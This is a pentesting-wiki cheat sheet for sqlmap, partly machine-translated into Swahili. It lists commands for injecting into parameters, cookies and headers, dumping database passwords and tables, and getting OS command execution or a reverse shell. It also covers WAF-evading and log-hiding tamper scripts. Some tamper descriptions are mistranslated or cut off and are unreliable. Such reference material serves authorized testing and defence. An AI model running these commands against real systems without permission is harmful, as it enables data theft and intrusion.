hacktricks/src/pentesting-web/sql-injection/sqlmap.md

SQLMap

{{#include ../../banners/hacktricks-training.md}}

Msingi wa hoja za SQLmap

Kawaida

-u "<URL>"
-p "<PARAM TO TEST>"
--user-agent=SQLMAP
--random-agent
--threads=10
--risk=3 #MAX
--level=5 #MAX
--dbms="<KNOWN DB TECH>"
--os="<OS>"
--technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ")
--batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--auth-type="<AUTH>" #HTTP authentication type (Basic, Digest, NTLM or PKI)
--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
--proxy=PROXY

Technique flags (--technique)

The --technique argument defines which SQL injection methods sqlmap will attempt. Each character in the string represents a technique:

Letter	Technique	Description
B	Boolean-based blind	Inatumia hali za kweli/false kudhani data
E	Error-based	Inatumia ujumbe wa makosa wa DBMS wenye maelezo mengi ili kutoa matokeo
U	UNION query	Inajumuisha taarifa za UNION SELECT ili kupata data kupitia njia ile ile
S	Stacked queries	Inaongeza taarifa za ziada zilizotenganishwa na ;
T	Time-based blind	Inategemea ucheleweshaji (SLEEP, WAITFOR) kugundua injection
Q	Inline / out-of-band	Inatumia kazi kama LOAD_FILE() au njia za OOB kama DNS

Default order is BEUSTQ. You can rearrange or limit them, e.g. only Boolean and Time-based in that order:

sqlmap -u "http://target/?id=1" --technique="BT" --batch

Retrieve Information

Internal

--current-user #Get current user
--is-dba #Check if current user is Admin
--hostname #Get hostname
--users #Get usernames od DB
--passwords #Get passwords of users in DB

DB data

--all #Retrieve everything
--dump #Dump DBMS database table entries
--dbs #Names of the available databases
--tables #Tables of a database ( -D <DB NAME> )
--columns #Columns of a table  ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column

Injection place

From Burp/ZAP capture

Shika ombi na uunde faili req.txt

sqlmap -r req.txt --current-user

GET Request Injection

sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id

POST Request Injection

sqlmap -u "http://example.com" --data "username=*&password=*"

Injections katika Vichwa na Mbinu Nyingine za HTTP

#Inside cookie
sqlmap  -u "http://example.com" --cookie "mycookies=*"

#Inside some header
sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*"
sqlmap -u "http://example.com" --headers="referer:*"

#PUT Method
sqlmap --method=PUT -u "http://example.com" --headers="referer:*"

#The injection is located at the '*'

Uingizaji wa agizo la pili

python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs

Shell

#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami

#Simple Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell

#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn

Tembelea tovuti kwa SQLmap na kuji-exploit kiotomatiki

sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3

--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--crawl = how deep you want to crawl a site
--forms = Parse and test forms

Kubadilisha Uingiliaji

Weka kiambishi

python sqlmap.py -u "http://example.com/?id=1"  -p id --suffix="-- "

Kichwa cha Kwanza

python sqlmap.py -u "http://example.com/?id=1"  -p id --prefix="') "

Msaada wa kutafuta sindano ya boolean

# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch

Tamper

--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper

Tamper	Maelezo
apostrophemask.py	Hubadilisha herufi ya apostrophe na sawa yake ya UTF-8 yenye upana kamili
apostrophenullencode.py	Hubadilisha herufi ya apostrophe na sawa yake isiyo halali ya double unicode
appendnullbyte.py	Huongeza herufi ya NULL byte iliyosimbwa mwishoni mwa payload
base64encode.py	Hubadilisha herufi zote katika payload iliyotolewa kuwa Base64
between.py	Hubadilisha opereta ya zaidi ya '>' na 'SIO KATI YA 0 NA #'
bluecoat.py	Hubadilisha herufi ya nafasi baada ya taarifa ya SQL kuwa herufi halali ya random tupu. Kisha hubadilisha herufi = na opereta LIKE
chardoubleencode.py	Huongeza url-encode mara mbili herufi zote katika payload iliyotolewa sio kusindika zilizokuwa tayari zimekodishwa
commalesslimit.py	Hubadilisha matukio kama 'LIMIT M, N' na 'LIMIT N OFFSET M'
commalessmid.py	Hubadilisha matukio kama 'MID(A, B, C)' na 'MID(A KUTOKA B KWA C)'
concat2concatws.py	Hubadilisha matukio kama 'CONCAT(A, B)' na 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)'
charencode.py	Huongeza url-encode herufi zote katika payload iliyotolewa sio kusindika zilizokuwa tayari zimekodishwa
charunicodeencode.py	Huongeza unicode-url-encode herufi zisizokuwa na msimbo katika payload iliyotolewa sio kusindika zilizokuwa tayari zimekodishwa. "%u0022"
charunicodeescape.py	Huongeza unicode-url-encode herufi zisizokuwa na msimbo katika payload iliyotolewa sio kusindika zilizokuwa tayari zimekodishwa. "\u0022"
equaltolike.py	Hubadilisha matukio yote ya opereta sawa '=' na opereta 'LIKE'
escapequotes.py	Huondoa herufi za nukuu ' na "
greatest.py	Hubadilisha opereta ya zaidi ya '>' na sawa yake ya 'GREATEST'
halfversionedmorekeywords.py	Huongeza maoni ya MySQL yenye toleo kabla ya kila neno muhimu
ifnull2ifisnull.py	Hubadilisha matukio kama 'IFNULL(A, B)' na 'IF(ISNULL(A), B, A)'
modsecurityversioned.py	Huweka swali lote ndani ya maoni yenye toleo
modsecurityzeroversioned.py	Huweka swali lote ndani ya maoni yenye toleo sifuri
multiplespaces.py	Huongeza nafasi nyingi kuzunguka maneno muhimu ya SQL
nonrecursivereplacement.py	Hubadilisha maneno muhimu ya SQL yaliyowekwa awali na uwakilishi yanayofaa kwa kubadilishwa (e.g. .replace("SELECT", "")) filters
percentage.py	Huongeza alama ya asilimia '%' mbele ya kila herufi
overlongutf8.py	Hubadilisha herufi zote katika payload iliyotolewa sio kusindika zilizokuwa tayari zimekodishwa
randomcase.py	Hubadilisha kila herufi ya neno muhimu na thamani ya kesi ya nasibu
randomcomments.py	Huongeza maoni ya nasibu kwa maneno muhimu ya SQL
securesphere.py	Huongeza mfuatano maalum wa kusanifu
sp_password.py	Huongeza 'sp_password' mwishoni mwa payload kwa ajili ya kuficha kiotomatiki kutoka kwa kumbukumbu za DBMS
space2comment.py	Hubadilisha herufi ya nafasi ' ' na maoni
space2dash.py	Hubadilisha herufi ya nafasi ' ' na maoni ya dash '--' ikifuatiwa na mfuatano wa nasibu na mstari mpya '\n'
space2hash.py	Hubadilisha herufi ya nafasi ' ' na herufi ya pound '\#' ikifuatiwa na mfuatano wa nasibu na mstari mpya '\n'
space2morehash.py	Hubadilisha herufi ya nafasi ' ' na herufi ya pound '\#' ikifuatiwa na mfuatano wa nasibu na mstari mpya '\n'
space2mssqlblank.py	Hubadilisha herufi ya nafasi ' ' na herufi tupu ya nasibu kutoka seti halali ya herufi mbadala
space2mssqlhash.py	Hubadilisha herufi ya nafasi ' ' na herufi ya pound '\#' ikifuatiwa na mstari mpya '\n'
space2mysqlblank.py	Hubadilisha herufi ya nafasi ' ' na herufi tupu ya nasibu kutoka seti halali ya herufi mbadala
space2mysqldash.py	Hubadilisha herufi ya nafasi ' ' na maoni ya dash '--' ikifuatiwa na mstari mpya '\n'
space2plus.py	Hubadilisha herufi ya nafasi ' ' na plus '+'
space2randomblank.py	Hubadilisha herufi ya nafasi ' ' na herufi tupu ya nasibu kutoka seti halali ya herufi mbadala
symboliclogical.py	Hubadilisha opereta za AND na OR na sawa zao za alama (&& na
unionalltounion.py	Hubadilisha UNION ALL SELECT na UNION SELECT
unmagicquotes.py	Hubadilisha herufi ya nukuu ' na mchanganyiko wa multi-byte %bf%27 pamoja na maoni ya jumla mwishoni ili kufanya ifanye kazi
uppercase.py	Hubadilisha kila herufi ya neno muhimu na thamani ya herufi kubwa 'INSERT'
varnish.py	Huongeza kichwa cha HTTP 'X-originating-IP'
versionedkeywords.py	Huweka kila neno muhimu lisilo la kazi ndani ya maoni ya MySQL yenye toleo
versionedmorekeywords.py	Huweka kila neno muhimu ndani ya maoni ya MySQL yenye toleo
xforwardedfor.py	Huongeza kichwa cha HTTP bandia 'X-Forwarded-For'

References

• SQLMap: Testing SQL Database Vulnerabilities

{{#include ../../banners/hacktricks-training.md}}